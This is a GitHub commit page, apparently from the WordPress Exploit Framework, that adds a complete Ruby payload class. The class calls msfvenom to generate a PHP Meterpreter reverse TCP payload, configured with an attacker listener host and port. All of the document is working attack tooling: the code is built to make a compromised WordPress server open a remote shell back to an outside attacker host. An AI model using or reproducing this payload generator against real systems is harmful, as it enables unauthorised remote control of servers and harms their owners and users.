Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 3db8d82

Browse files
committed
Add Meterpreter reverse TCP payload
1 parent aa5a883 commit 3db8d82

File tree

1 file changed

+69
-0
lines changed

1 file changed

+69
-0
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
require 'open3'
2+
3+
module Wpxf::Payloads
4+
# A Meterpreter reverse TCP payload generator.
5+
class MeterpreterReverseTcp < Wpxf::Payload
6+
include Wpxf
7+
include Wpxf::Options
8+
9+
def initialize
10+
super
11+
12+
register_options([
13+
StringOption.new(
14+
name: 'msfvenom',
15+
required: true,
16+
default: 'msfvenom',
17+
desc: 'The path to the msfvenom executable'
18+
),
19+
StringOption.new(
20+
name: 'lhost',
21+
required: true,
22+
desc: 'The address of the host listening for a connection'
23+
),
24+
PortOption.new(
25+
name: 'lport',
26+
required: true,
27+
default: 4444,
28+
desc: 'The port being used to listen for incoming connections'
29+
)
30+
])
31+
end
32+
33+
def host
34+
escape_single_quotes(datastore['lhost'])
35+
end
36+
37+
def lport
38+
normalized_option_value('lport')
39+
end
40+
41+
def msfvenom
42+
normalized_option_value('msfvenom')
43+
end
44+
45+
def raw
46+
@meterpreter_payload
47+
end
48+
49+
def prepare(mod)
50+
mod.emit_info 'Generating Meterpreter payload...'
51+
begin
52+
stdout, stderr = Open3.capture3(msfvenom, '-p', 'php/meterpreter/reverse_tcp', "LHOST=#{host}", "LPORT=#{lport}")
53+
rescue Errno::ENOENT => e
54+
mod.emit_error e.to_s, true
55+
mod.emit_error 'msfvenom not found - check the msfvenom payload option'
56+
return false
57+
end
58+
59+
if stdout.empty?
60+
mod.emit_error 'Failed to generate the Meterpreter payload'
61+
mod.emit_error stderr
62+
return false
63+
end
64+
65+
@meterpreter_payload = stdout
66+
true
67+
end
68+
end
69+
end

0 commit comments

Comments
 (0)